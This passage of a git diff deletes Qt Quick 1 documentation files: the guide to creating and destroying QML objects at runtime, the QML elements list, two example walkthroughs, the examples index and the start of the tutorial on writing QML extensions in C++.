doc/src/snippets/declarative/Sprite.qml 0 - -Our main application file, \c main.qml, imports a \c componentCreation.js JavaScript file -that will create \c Sprite objects: - -\snippet doc/src/snippets/declarative/createComponent.qml 0 - -Here is \c componentCreation.js. Notice it checks whether the component \l{Component::status}{status} is -\c Component.Ready before calling \l {Component::createObject()}{createObject()} -in case the QML file is loaded over a network and thus is not ready immediately. - -\snippet doc/src/snippets/declarative/componentCreation.js vars -\codeline -\snippet doc/src/snippets/declarative/componentCreation.js func -\snippet doc/src/snippets/declarative/componentCreation.js remote -\snippet doc/src/snippets/declarative/componentCreation.js func-end -\codeline -\snippet doc/src/snippets/declarative/componentCreation.js finishCreation - -If you are certain the QML file to be loaded is a local file, you could omit the \c finishCreation() -function and call \l {Component::createObject()}{createObject()} immediately: - -\snippet doc/src/snippets/declarative/componentCreation.js func -\snippet doc/src/snippets/declarative/componentCreation.js local -\snippet doc/src/snippets/declarative/componentCreation.js func-end - -Notice in both instances, \l {Component::createObject()}{createObject()} is called with -\c appWindow passed as an argument so that the created object will become a child of the -\c appWindow item in \c main.qml. Otherwise, the new item will not appear in the scene. - -When using files with relative paths, the path should -be relative to the file where \l {QML:Qt::createComponent()}{Qt.createComponent()} is executed. - -To connect signals to (or receive signals from) dynamically created objects, -use the signal \c connect() method. See -\l{QML Signal and Handler Event System#Connecting Signals to Methods and Signals} -{Connecting Signals to Methods and Signals} for more information. - - -\section2 Creating an Object from a String of QML - -If the QML is not defined until runtime, you can create a QML item from -a string of QML using the \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} function, as in the following example: - -\snippet doc/src/snippets/declarative/createQmlObject.qml 0 - -The first argument is the string of QML to create. Just like in a new file, you will need to -import any types you wish to use. The second argument is the parent item for the new item; -this should be an existing item in the scene. The third argument is the file path to associate -with the new item; this is used for error reporting. - -If the string of QML imports files using relative paths, the path should be relative -to the file in which the parent item (the second argument to the method) is defined. - - -\section1 Maintaining Dynamically Created Objects - -When managing dynamically created items, you must ensure the creation context -outlives the created item. Otherwise, if the creation context is destroyed first, -the bindings in the dynamic item will no longer work. - -The actual creation context depends on how an item is created: - -\list -\o If \l {QML:Qt::createComponent()}{Qt.createComponent()} is used, the creation context - is the QDeclarativeContext in which this method is called -\o If \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} - if called, the creation context is the context of the parent item passed to this method -\o If a \c {Component{}} item is defined and \l {Component::createObject()}{createObject()} - is called on that item, the creation context is the context in which the \c Component is defined -\endlist - -Also, note that while dynamically created objects may be used the same as other objects, they -do not have an id in QML. - - -\section1 Deleting Objects Dynamically - -In many user interfaces, it is sufficient to set an item's opacity to 0 or -to move the item off the screen instead of deleting the item. If you have -lots of dynamically created items, however, you may receive a worthwhile -performance benefit if unused items are deleted. - -Note that you should never manually delete items that were dynamically created -by QML elements (such as \l Loader and \l Repeater). Also, you should avoid deleting -items that you did not dynamically create yourself. - -Items can be deleted using the \c destroy() method. This method has an optional -argument (which defaults to 0) that specifies the approximate delay in milliseconds -before the object is to be destroyed. - -Here is an example. The \c application.qml creates five instances of the \c SelfDestroyingRect.qml -component. Each instance runs a NumberAnimation, and when the animation has finished, calls -\c destroy() on its root item to destroy itself: - -\table -\row -\o \c application.qml -\o \c SelfDestroyingRect.qml - -\row -\o \snippet doc/src/snippets/declarative/dynamicObjects-destroy.qml 0 -\o \snippet doc/src/snippets/declarative/SelfDestroyingRect.qml 0 - -\endtable - -Alternatively, the \c application.qml could have destroyed the created object -by calling \c object.destroy(). - -Note that it is safe to call destroy() on an object within that object. Objects are not destroyed the -instant destroy() is called, but are cleaned up sometime between the end of that script block and the next frame -(unless you specified a non-zero delay). - -Note also that if a \c SelfDestroyingRect instance was created statically like this: - -\qml -Item { - SelfDestroyingRect { - // ... - } -} -\endqml - -This would result in an error, since items can only be dynamically -destroyed if they were dynamically created. - -Objects created with \l{QML:Qt::createQmlObject()}{Qt.createQmlObject()} -can similarly be destroyed using \c destroy(): - -\snippet doc/src/snippets/declarative/createQmlObject.qml 0 -\snippet doc/src/snippets/declarative/createQmlObject.qml destroy -*/ diff --git a/doc/src/qtquick1/elements.qdoc b/doc/src/qtquick1/elements.qdoc deleted file mode 100644 index 4f140a3969..0000000000 --- a/doc/src/qtquick1/elements.qdoc +++ /dev/null @@ -1,324 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qdeclarativeelements.html -\inqmlmodule QtQuick 1 - \target elements - \title QML Elements - \brief A listing of standard QML elements. - -These are the functionally grouped lists of QML elements as part of -\l{Qt Quick}. - -Elements are declared with the their name and two curly braces. Elements may -be nested in elements, thereby creating a parent-child relationship between the -two elements. - -To see the QML elements listed by functional area, see the -\l{Groups Of Related QML Elements} page. - -\section1 Basic QML Elements -\list -\o \l {Item} - Basic item element inherited by QML elements -\o \l {Component} - Encapsulates QML elements during importing -\o \l {QML:QtObject} {QtObject} - Basic element containing only the \c {objectName} property -\endlist - -\section1 Graphics -\list -\o \l {Rectangle} - A rectangle element -\o \l {Image} - For incorporating bitmaps into a scene -\o \l {BorderImage} - Allows the use of images as borders -\o \l {AnimatedImage} - For playing animations stored in a series of frames -\o \l {Gradient} - For defining a color gradient -\o \l {GradientStop} - Used to define a color within a \l {Gradient} -\o \l {SystemPalette} - Provides access to the Qt palettes -\endlist - -\section1 Text Handling -\list -\o \l {Text} - For inserting formatted text into a scene -\o \l {TextInput} - Captures user key input -\o \l {TextEdit} - Displays multiple lines of editable formatted text -\o \l {IntValidator} - Validates values as integers -\o \l {DoubleValidator} - Validates real values -\o \l {RegExpValidator} - Validator for string regular expressions -\o \l {FontLoader} - Loads fonts by name or URL -\endlist - -\section1 Mouse and Interaction Area -\list -\o \l {MouseArea} - Sets up an area for mouse interaction -\o \l {Keys} - Provides components with attached properties to handle key input. -\o \l {FocusScope} - Element that mediate keyboard focus changes -\o \l {Flickable} - Provides a surface that can be "flicked" -\o \l {Flipable} - Provides a surface that produces "flipping" effects -\o \l {PinchArea} - Enables simple pinch gesture handling -\endlist - -\section1 Positioners and Repeater -\list -\o \l {Column} - Arranges its children vertically -\o \l {Row} - Arranges its children horizontally -\o \l {Grid} - Positions its children in a grid -\o \l {Flow} - Positions its children with wrapping support -\o \l {Repeater} - Uses a model to create multiple components -\endlist - -\section1 Transformations -\list -\o \l {Scale} - Assigns item scaling behaviors -\o \l {Rotation} - Assigns item rotation behaviors -\o \l {Translate} - Assigns item translation behaviors -\endlist - -\section1 States -\list -\o \l {State} - Defines sets of configurations of objects and properties -\o \l {PropertyChanges} - Describes property changes within a state -\o \l {StateGroup} - Contains a set of states and state transitions -\o \l {StateChangeScript} - Allows script binding in a state -\o \l {ParentChange} - Re-parent an Item in a state change -\o \l {AnchorChanges} - Change the anchors of an item in a state -\endlist - -\section1 Animation and Transitions -\list -\o \l {Transition} - Animates transitions during state changes -\o \l {SequentialAnimation} - Runs animations sequentially -\o \l {ParallelAnimation} - Runs animations in parallel -\o \l {Behavior} - Specifies a default animation for property changes -\o \l {PropertyAction} - Sets immediate property changes during animation -\o \l {PauseAnimation} - Introduces a pause in an animation -\o \l {SmoothedAnimation} - Allows a property to smoothly track a value -\o \l {SpringAnimation} - Allows a property to track a value in a spring-like motion -\o \l {ScriptAction} - Runs scripts during an animation -\endlist - -Elements that animate properties based on data types -\list -\o \l {PropertyAnimation} - Animates property changes -\o \l {NumberAnimation} - Animates properties of type qreal -\o \l {Vector3dAnimation} - Animates properties of type QVector3d -\o \l {ColorAnimation} - Animates color changes -\o \l {RotationAnimation} - Animates rotations -\o \l {ParentAnimation} - Animates parent changes -\o \l {AnchorAnimation} - Animates anchor changes -\endlist - -\section1 Models and Data Handling -\list -\o \l {ListModel} - Defines a list of data -\o \l {ListElement} - Defines a data item in a \l {ListModel} -\o \l {VisualItemModel} - Contains items that already defines its own visual delegate -\o \l {VisualDataModel} - Encapsulates a model and a delegate -\o \l {XmlListModel} - Specifies a model using XPath expressions -\o \l {XmlRole} - Specifies a role for an \l {XmlListModel} -\o \l {Binding} - Binds any value to any property -\o \l {Package} - Collection that enables sharing of items within different views -\endlist - -\section1 Views -\list -\o \l {ListView} - Provides a list visualization of a model -\o \l {GridView} - Provides a grid visualization of a model -\o \l {PathView} - Visualizes a model's contents along a path. See \l {Path Definition}{Path Elements} for more information. -\endlist - -\section1 Path Definition -\list -\o \l {Path} - Defines a path used by \l {PathView} -\o \l {PathLine} - Defines a line in \l {Path} -\o \l {PathQuad} - Defines a quadratic Bezier curve in a \l {Path} -\o \l {PathCubic} - Defines a cubic Bezier curve in a \l {Path} -\o \l {PathAttribute} - Allows the setting of attributes along a \l {Path} -\o \l {PathPercent} - Modifies the item distribution along a \l {Path} -\endlist - -\section1 Utility -\list -\o \l {Connections} - Explicitly connects signals and signal handlers -\o \l {Timer} - Provides timed triggers -\o \l {QML:Qt} {Qt} - The QML global Qt object provides useful enums and functions from Qt. -\o \l {WorkerScript} - Enables the use of threads in QML -\o \l {Loader} - Controls the loading of items or components -\o \l {LayoutItem} - Allows declarative UI elements inside Qt's Graphics View layouts -\endlist - -\section1 Graphical Effects -\list -\o \l {Particles} - Generates and animates particles -\o \l {ParticleMotionLinear} - Adds linear motion behavior to \l {Particles} -\o \l {ParticleMotionGravity} - Adds gravitational motion to \l {Particles} -\o \l {ParticleMotionWander} - Adds varied motions to \l {Particles} -\endlist - -\section1 Add-On Elements -These elements are not included in the \c{QtQuick 1.0} module. Their respective QML bindings -should first be obtained and installed. -\list -\o \l{WebView}{QtWebKit QML Module - WebView Element} - For displaying Web contents -\o \l{http://doc.qt.nokia.com/qtmobility-1.1.0/qml-plugins.html}{Mobility QML Plugins} -\endlist - -*/ - - -/*! - \group qml-groups - \title Groups Of Related QML Elements - - \brief If you know what kind of QML element you want (Basic Visual, - Interaction, Animation, etc), look here. - - This is a list of functional groups of QML elements. - - \generatelist{related} - -*/ - -/*! - \group qml-basic-visual-elements - \title Basic QML Visual Elements - \ingroup qml-groups - - \brief Elements for constructing basic visual items. - - \generatelist{related} - -*/ - -/*! - \group qml-basic-interaction-elements - \title Basic QML Interaction Elements - \ingroup qml-groups - - \brief Elements for handling basic interactions. - - \generatelist{related} - -*/ - -/*! - \group qml-state-elements - \title QML State Elements - \ingroup qml-groups - - \brief Elements for handling state changes. - - \generatelist{related} - -*/ - -/*! - \group qml-event-elements - \title QML Event Elements - \ingroup qml-groups - - \brief Elements for handling events. - - \generatelist{related} - -*/ - -/*! - \group qml-animation-transition - \title QML Animation and Transition Elements - \ingroup qml-groups - - \brief Elements for handling animations and transitions. - - \generatelist{related} - -*/ - -/*! - \group qml-working-with-data - \title Working With Data in QML - \ingroup qml-groups - - \brief Elements for working with data. - - \generatelist{related} - -*/ - -/*! - \group qml-view-elements - \title QML View Elements - \ingroup qml-groups - - \brief Elements for handling views. - - \generatelist{related} - -*/ - -/*! - \group qml-positioning-elements - \title QML Positioning Elements - \ingroup qml-groups - - \brief Elements for positioning items. - - \generatelist{related} - -*/ - -/*! - \group qml-utility-elements - \title QML Utility Elements - \ingroup qml-groups - - \brief Elements for handling misc operations. - - \generatelist{related} - -*/ - -/*! - \group qml-transform-elements - \title QML Transform Elements - \ingroup qml-groups - - \brief Elements for handling transformations. - - \generatelist{related} - -*/ - -/*! - \group qml-particle-elements - \title QML Particle Elements - \ingroup qml-groups - - \brief Elements for handling particle effects. - - \generatelist{related} - -*/ diff --git a/doc/src/qtquick1/example-slideswitch.qdoc b/doc/src/qtquick1/example-slideswitch.qdoc deleted file mode 100644 index 75fe3cd2ff..0000000000 --- a/doc/src/qtquick1/example-slideswitch.qdoc +++ /dev/null @@ -1,130 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeexampletoggleswitch.html -\inqmlmodule QtQuick 1 -\title QML Example - Toggle Switch - -This example shows how to create a reusable switch component in QML. - -The code for this example can be found in the \c $QTDIR/examples/declarative/ui-components/slideswitch directory. - -The elements that compose the switch are: - -\list -\o a \c on property (the interface to interact with the switch), -\o two images (the background image and the knob), -\o two mouse regions for user interation (on the background image and on the knob), -\o two states (a \e on state and a \e off state), -\o two functions or slots to react to the user interation (\c toggle() and \c dorelease()), -\o and a transition that describe how to go from one state to the other. -\endlist - -\section1 Switch.qml -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 0 - -\section1 Walkthrough - -\section2 Interface -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 1 - -This property is the interface of the switch. By default, the switch is off and this property is \c false. -It can be used to activate/disactivate the switch or to query its current state. - -In this example: - -\qml -Item { - Switch { - id: mySwitch - on: true - } - Text { - text: "The switch is on" - visible: mySwitch.on == true - } -} -\endqml - -the text will only be visible when the switch is on. - -\section2 Images and user interaction -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 4 - -First, we create the background image of the switch. -In order for the switch to toggle when the user clicks on the background, we add a \l{MouseArea} as a child item of the image. -A \c MouseArea has a \c onClicked property that is triggered when the item is clicked. For the moment we will just call a -\c toggle() function. We will see what this function does in a moment. - -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 5 - -Then, we place the image of the knob on top of the background. -The interaction here is a little more complex. We want the knob to move with the finger when it is clicked. That is what the \c drag -property of the \c MouseArea is for. We also want to toggle the switch if the knob is released between state. We handle this case -in the \c dorelease() function that is called in the \c onReleased property. - -\section2 States -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 6 - -We define the two states of the switch: -\list -\o In the \e on state the knob is on the right (\c x position is 78) and the \c on property is \c true. -\o In the \e off state the knob is on the left (\c x position is 1) and the \c on property is \c false. -\endlist - -For more information on states see \l{qmlstates}{QML States}. - -\section2 Functions - -We add two JavaScript functions to our switch: - -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 2 - -This first function is called when the background image or the knob are clicked. We simply want the switch to toggle between the two -states (\e on and \e off). - - -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 3 - -This second function is called when the knob is released and we want to make sure that the knob does not end up between states -(neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing. - -For more information on scripts see \l{Integrating JavaScript}. - -\section2 Transition -\snippet examples/declarative/ui-components/slideswitch/content/Switch.qml 7 - -At this point, when the switch toggles between the two states the knob will instantly change its \c x position between 1 and 78. -In order for the the knob to move smoothly we add a transition that will animate the \c x property with an easing curve for a duration of 200ms. - -For more information on transitions see \l{QML Animation and Transitions}. - -\section1 Usage -The switch can be used in a QML file, like this: -\snippet examples/declarative/ui-components/slideswitch/slideswitch.qml 0 -*/ diff --git a/doc/src/qtquick1/example-textballoons.qdoc b/doc/src/qtquick1/example-textballoons.qdoc deleted file mode 100644 index 872c254fb0..0000000000 --- a/doc/src/qtquick1/example-textballoons.qdoc +++ /dev/null @@ -1,104 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \title Scenegraph Painted Item Example - \example declarative/painteditem/textballoons - - The Painted Item example shows how to use the QML Scene Graph framework to - implement custom scenegraph items using QPainter. - - \image declarative-textballoons_example.png - - The QQuickPaintedItem class is a class derived from QQuickItem for implementing - custom QML Scene Graph items using the QPainter interfaces. - - The example consists of an item class, a plugin class and a QML file - to use this plugin. The \c TextBalloon class represents the individual - text balloons extending QQuickPaintedItem, the \c TextBalloonPlugin class - represents the skeleton code for a QtQuick plugin and the - \c textballoons.qml file is used to load the plugin and display the text - balloons. - - We will focus on the \c TextBalloon class first and continue with the - \c textballoons.qml file. For an example on how to implement a QtQuick - plugin please look at \l{declarative/tutorials/extending/chapter6-plugins} - {Writing an Extension Plugin} - - \section1 TextBalloon Class Declaration - - The \c TextBalloon class inherits from QQuickPaintedItem. QQuickPaintedItem - is the base class for all QPainter based items in the QML Scene Graph - framework. - - \snippet examples/declarative/painteditem/textballoons/textballoon.h 0 - - To implement a QQuickPaintedItem you must implement QQuickPaintedIem's pure - virtual function \l {QQuickPaintedItem::}{paint()} which implements the - painting of the element. - - \section1 TextBalloon Class Definition - - We have to be sure to initialize the rightAligned property for a - TextBalloon item. - - \snippet examples/declarative/painteditem/textballoons/textballoon.cpp 0 - - Then we implement the \c paint() function which is automatically called by - the Scenegraph framework to paint the contents of the item. The function - paints the item in local coordinates. - - \snippet examples/declarative/painteditem/textballoons/textballoon.cpp 1 - - We start with setting the pen and brush on the item to define the look of - the item. After that we start drawing. Note that the \l {QQuickPaintedItem::}{boundingRect()} - item is called to draw depending on the size of the item. The rectangle - returned by the \l {QQuickPaintedItem::}{boundingRect()} function is the size - of the item as defined in the QML file. - - \section1 textballoons.qml file - - The Interface consists of two main parts. The scrollable area with the - textballoons and the controls button to add new balloons. - - \section2 BalloonView - - \snippet examples/declarative/painteditem/textballoons/textballoons.qml 0 - - The balloonModel contains two elements at application start which will be - displayed by the balloonView. The balloonView alernates the TextBalloon - delegate items between left-aligned and right-aligned. - - \section2 Controls - - \snippet examples/declarative/painteditem/textballoons/textballoons.qml 1 - - The controls part of the UI contains a rectangle with a MouseArea which - changes color when the mouse hovers over it. This control 'button' adds - a new element to the end of the model with a random width. - - */ diff --git a/doc/src/qtquick1/examples.qdoc b/doc/src/qtquick1/examples.qdoc deleted file mode 100644 index 144bb0349a..0000000000 --- a/doc/src/qtquick1/examples.qdoc +++ /dev/null @@ -1,245 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! - \page qdeclarativeexamples.html -\inqmlmodule QtQuick 1 - \title QML Examples - \brief Building UIs with QML - \ingroup all-examples - - -Qt includes a set of examples that show how to use various aspects -of QML. The examples are demonstrations of particular QML components, -some are small code snippets, while others contain more complete and -functional applications. - -To run the examples, open them in Qt Creator or use the included -\l {QML Viewer} tool. The \l {QML Viewer} can be run from the command line: - -\code - qmlviewer $QTDIR/examples/declarative/samegame/samegame.qml -\endcode - -On Mac OS X, you can run the included "QMLViewer" application from the -Finder, or use the command line: - -\code - QMLViewer.app/Contents/MacOS/QMLViewer $QTDIR/examples/declarative/samegame/samegame.qml -\endcode - - -The examples can be found in Qt's \c examples/declarative directory. - - -\section1 Functional Applications - -These QML examples integrate a variety of features to demonstrate how QML -can be used to produce sophisticated interfaces and applications: - - -\table -\row - -\o -\l{declarative/calculator}{Calculator} -\image qml-calculator-example-small.png - -\o -\l{declarative/flickr}{Flickr Mobile} -\image qml-flickr-demo-small.png - -\o -\l{declarative/minehunt}{Minehunt} -\image qml-minehunt-demo-small.png - -\row - -\o -\l{declarative/photoviewer}{Photo Viewer} -\image qml-photoviewer-demo-small.png - -\o -\l{declarative/rssnews}{RSS News Reader} -\image qml-rssnews-demo-small.png - -\o -\l{declarative/samegame}{Same Game} -\image qml-samegame-demo-small.png - -\row - -\o -\l{declarative/snake}{Snake} -\image qml-snake-demo-small.png - -\o -\l{declarative/twitter}{Twitter} -\image qml-twitter-demo-small.png - -\o -\l{declarative/webbrowser}{Web Browser} -\image qml-webbrowser-demo-small.png - -\endtable - - -\section1 Code Snippets - -These QML examples are small, simple applications that show how to use a particular -QML component or feature. If you are new -to QML, you may also find the \l{QML Tutorial}{Hello World} and -\l {QML Advanced Tutorial}{Same Game} tutorials useful. - -\section2 Animation -\list -\o \l{declarative/animation/basics}{Basics} -\o \l{declarative/animation/behaviors}{Behaviors} -\o \l{declarative/animation/easing}{Easing} -\o \l{declarative/animation/states}{States} -\endlist - -\section2 Image Elements -\list -\o \l{declarative/imageelements/borderimage}{BorderImage} -\o \l{declarative/imageelements/image}{Image} -\endlist - -\section2 Text -\list -\o \l{declarative/text/fonts}{Fonts} -\o \l{declarative/text/textselection}{Text Selection} -\endlist - -\section2 Positioners -\list -\o \l{declarative/positioners}{Example} -\endlist - -\section2 Key Interaction -\list -\o \l{declarative/keyinteraction/focus}{Focus} -\endlist - -\section2 Touch Interaction -\list -\o \l{declarative/touchinteraction/mousearea}{MouseArea} -\endlist - -\section2 UI Components -\list -\o \l{declarative/ui-components/dialcontrol}{Dial control} -\o \l{declarative/ui-components/flipable}{Flipable} -\o \l{declarative/ui-components/progressbar}{Progress bar} -\o \l{declarative/ui-components/scrollbar}{Scroll bar} -\o \l{declarative/ui-components/searchbox}{Search box} -\o \l{declarative/ui-components/slideswitch}{Slide switch} -\o \l{declarative/ui-components/spinner}{Spinner} -\o \l{declarative/ui-components/tabwidget}{Tab widget} -\endlist - -\section2 Toys -\list -\o \l{declarative/toys/clocks}{Clocks} -\o \l{declarative/toys/corkboards}{Corkboards} -\o \l{declarative/toys/dynamicscene}{Dynamic Scene} -\o \l{declarative/toys/tic-tac-toe}{Tic Tac Toe} -\o \l{declarative/toys/tvtennis}{TV Tennis} -\endlist - -\section2 Models and Views -\list -\o \l{declarative/modelviews/gridview}{GridView} -\o \l{declarative/modelviews/listview}{ListView} -\o \l{declarative/modelviews/pathview}{PathView} -\o \l{declarative/modelviews/package}{Package} -\o \l{declarative/modelviews/parallax}{Parallax} -\o \l{declarative/modelviews/visualitemmodel}{VisualItemModel} - -\o \l{declarative/modelviews/stringlistmodel}{String ListModel} -\o \l{declarative/modelviews/objectlistmodel}{Object ListModel} -\o \l{declarative/modelviews/abstractitemmodel}{AbstractItemModel} - -\o \l{declarative/modelviews/webview}{WebView} -\endlist - -\section2 XML -\list -\o \l{declarative/xml/xmlhttprequest}{XmlHttpRequest} -\endlist - -\section2 Internationalization (i18n) -\list -\o \l{declarative/i18n}{Example} -\endlist - -\section2 Right-to-left User Interfaces -\list -\o \l{declarative/righttoleft/layoutmirroring}{Layout mirroring} -\o \l{declarative/righttoleft/layoutdirection}{Layout direction} -\o \l{declarative/righttoleft/textalignment}{Text alignment} -\endlist - -\section2 Threading -\list -\o \l{declarative/threading/threadedlistmodel}{Threaded ListModel} -\o \l{declarative/threading/workerscript}{WorkerScript} -\endlist - -\section2 Screen Orientation -\list -\o \l{declarative/screenorientation}{Example} -\endlist - -\section2 SQL Local Storage -\list -\o \l{declarative/sqllocalstorage}{Example} -\endlist - -\section2 C++ Extensions -\list -\o \l{declarative-cppextensions-reference.html}{Reference examples} -\o \l{declarative/cppextensions/plugins}{Plugins} -\o \l{declarative-cppextensions-qgraphicslayouts.html}{QGraphicsLayouts} -\o \l{declarative/cppextensions/qwidgets}{QWidgets} -\o \l{declarative/cppextensions/imageprovider}{Image provider} -\o \l{declarative/cppextensions/networkaccessmanagerfactory}{Network access manager factory} -\endlist - -\section2 Scenegraph -\list -\o \l{declarative/painteditem/textballoons}{Painted Item} -\endlist - -\section1 Labs - -\list -\o \l{src/imports/folderlistmodel}{Folder List Model} - a C++ model plugin -\endlist - -*/ - diff --git a/doc/src/qtquick1/extending-tutorial.qdoc b/doc/src/qtquick1/extending-tutorial.qdoc deleted file mode 100644 index f02d5e927c..0000000000 --- a/doc/src/qtquick1/extending-tutorial.qdoc +++ /dev/null @@ -1,499 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-extending-tutorial-index.html -\inqmlmodule QtQuick 1 -\title Tutorial: Writing QML Extensions with C++ - -The Qt Declarative module provides a set of APIs for extending QML through -C++ extensions. You can write extensions to add your own QML types, extend existing -Qt types, or call C/C++ functions that are not accessible from ordinary QML code. - -This tutorial shows how to write a QML extension using C++ that includes -core QML features, including properties, signals and bindings. It also shows how -extensions can be deployed through plugins. - -You can find the source code for this tutorial in \c Qt's -examples/declarative/tutorials/extending directory. - -Tutorial chapters: - -\list 1 -\o \l{declarative/tutorials/extending/chapter1-basics}{Creating a New Type} -\o \l{declarative/tutorials/extending/chapter2-methods}{Connecting to C++ Methods and Signals} -\o \l{declarative/tutorials/extending/chapter3-bindings}{Property Binding} -\o \l{declarative/tutorials/extending/chapter4-customPropertyTypes}{Using Custom Property Types} -\o \l{declarative/tutorials/extending/chapter5-listproperties}{Using List Property Types} -\o \l{declarative/tutorials/extending/chapter6-plugins}{Writing an Extension Plugin} -\o \l{qml-extending-tutorial7.html}{In Summary} -\endlist - -*/ - -/*! -\title Chapter 1: Creating a New Type - -\example declarative/tutorials/extending/chapter1-basics - -A common task when extending QML is to provide a new QML type that supports some - custom functionality beyond what is provided by the built-in \l {QML Elements}. -For example, this could be done to implement particular data models, or provide -elements with custom painting and drawing capabilities, or access system features -like network programming that are not accessible through built-in QML features. - -In this tutorial, we will show how to use the C++ classes in the Qt Declarative -module to extend QML. The end result will be a simple Pie Chart display implemented by -several custom QML types connected together through QML features like bindings and -signals, and made available to the QML runtime through a plugin. - -To begin with, let's create a new QML type called "PieChart" that has two properties: a name -and a color. We will make it available in a \l {Modules}{module} called "Charts", with -a module version of 1.0. - -We want this \c PieChart type to be usable from QML like this: - -\code - import Charts 1.0 - - PieChart { - width: 100; height: 100 - name: "A simple pie chart" - color: "red" - } -\endcode - -To do this, we need a C++ class that encapsulates this \c PieChart type and its two -properties. Since QML makes extensive use of Qt's \l{Meta-Object System}{meta object system}, -this new class must: - -\list -\o Inherit from QObject -\o Declare its properties using the Q_PROPERTY macro -\endlist - -Here is our \c PieChart class, defined in \c piechart.h: - -\snippet declarative/tutorials/extending/chapter1-basics/piechart.h 0 - -The class inherits from QDeclarativeItem because we want to override -QDeclarativeItem::paint() in order to draw. If the class just represented some -data type and was not an item that actually needed to be displayed, it could simply inherit -from QObject. Or, if we want to extend the functionality of an existing QObject-based -class, it could inherit from that class instead. - -The \c PieChart class defines the two properties, \c name and \c color, with the Q_PROPERTY macro, -and overrides QDeclarativeItem::paint(). The class implementation in \c piechart.cpp -simply sets and returns the \c m_name and \c m_color values as appropriate, and -implements \c paint() to draw a simple pie chart. It also turns off the -QGraphicsItem::ItemHasNoContents flag to enable painting: - -\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 0 -\dots 0 -\snippet declarative/tutorials/extending/chapter1-basics/piechart.cpp 1 - -Now that we have defined the \c PieChart type, we will use it from QML. The \c app.qml -file creates a \c PieChart item and display the pie chart's details -using a standard QML \l Text item: - -\snippet declarative/tutorials/extending/chapter1-basics/app.qml 0 - -Notice that although the color is specified as a string in QML, it is automatically -converted to a QColor object for the PieChart \c color property. Automatic conversions are -provided for various other \l {QML Basic Types}{basic types}; for example, a string -like "640x480" can be automatically converted to a QSize value. - -We'll also create a C++ application that uses a QDeclarativeView to run and -display \c app.qml. The application must register the \c PieChart type -using the qmlRegisterType() function, to allow it to be used from QML. If -you don't register the type, \c app.qml won't be able to create a \c PieChart. - -Here is the application \c main.cpp: - -\snippet declarative/tutorials/extending/chapter1-basics/main.cpp 0 - -This call to qmlRegisterType() registers the \c PieChart type as a type called "PieChart", in a module named "Charts", -with a module version of 1.0. - -Lastly, we write a \c .pro project file that includes the files and the \c declarative library: - -\quotefile declarative/tutorials/extending/chapter1-basics/chapter1-basics.pro - -Now we can build and run the application: - -\image extending-tutorial-chapter1.png - -Try it yourself with the code in Qt's \c examples/tutorials/extending/chapter1-basics directory. - -At the moment, the \c app.qml is run from within a C++ application. -This may seem odd if you're used to running QML files with the \l {QML Viewer}. -Later on, we'll show how to create a plugin so that you can run \c app.qml using the -\l {QML Viewer} instead. - -*/ - - -/*! -\title Chapter 2: Connecting to C++ Methods and Signals - -\example declarative/tutorials/extending/chapter2-methods - -Suppose we want \c PieChart to have a "clearChart()" method that erases the 